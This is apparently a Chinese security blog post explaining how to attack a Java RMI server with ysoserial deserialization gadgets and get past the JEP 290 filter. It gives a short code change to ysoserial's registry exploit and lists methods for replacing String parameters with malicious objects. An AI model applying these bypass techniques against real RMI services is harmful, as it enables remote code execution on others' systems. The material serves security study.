起一个正常的 rmi 服务端,方法接收参数为对象,然后使用 ysoserial 去打,注意切换版本

直接被 check 了,服务端也会提示相应信息

Attack to bypass

参数为 object

使用上面的客户端共计服务端的代码也可以绕过的,这是因为直接传入了恶意对象

或者下载 yso 源码,并修改ysoserial/exploit/RMIRegistryExploit#exploit(),记得 copy 接口

com.yq1ng.ClientAttackServer.server.Hello hello = (com.yq1ng.ClientAttackServer.server.Hello) registry.lookup("hello");
hello.sayHello(remote);

正常起一个服务端

运行ysoserial/exploit/RMIRegistryExploit#main(),虽然报错,但是成功执行了

为什么可以绕过呢?原来 yso 的代码是在bind()的时候触发的,我们知道在bind()的时候会有反序列化的操作,这时候 jep290 就会发挥作用,check 恶意代码。而修改后的代码获取远程对象后直接传入了一个恶意对象,这就不会被 check。当然,这只是少数情况,实战一般不会给 object 让你传

参数为 String

这个就略微麻烦了,但是由于攻击者可以完全控制客户端,因此他可以用恶意对象替换从 Object 类派生的参数(例如 String)有几种方法:

  1. 将 java.rmi 软件包的代码复制到新软件包,然后在其中更改代码
  2. 将调试器附加到正在运行的客户端,并在序列化对象之前替换对象
  3. 使用 Javassist 之类的工具更改字节码
  4. 通过实现代理来替换网络流上已经序列化的对象

afanti 师傅是通过 RASP hook 住 java.rmi.server.RemoteObjectInvocationHandler 类的 InvokeRemoteMethod 方法的第三个参数非 Object 的改为 Object 的 gadget。下载代码后运行

参考

Java 反序列化漏洞(1) – Java RMI 原理/流程

Java 安全漫谈 - 06.RMI 篇(3)

从懵逼到恍然大悟之 Java 中 RMI 的使用


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录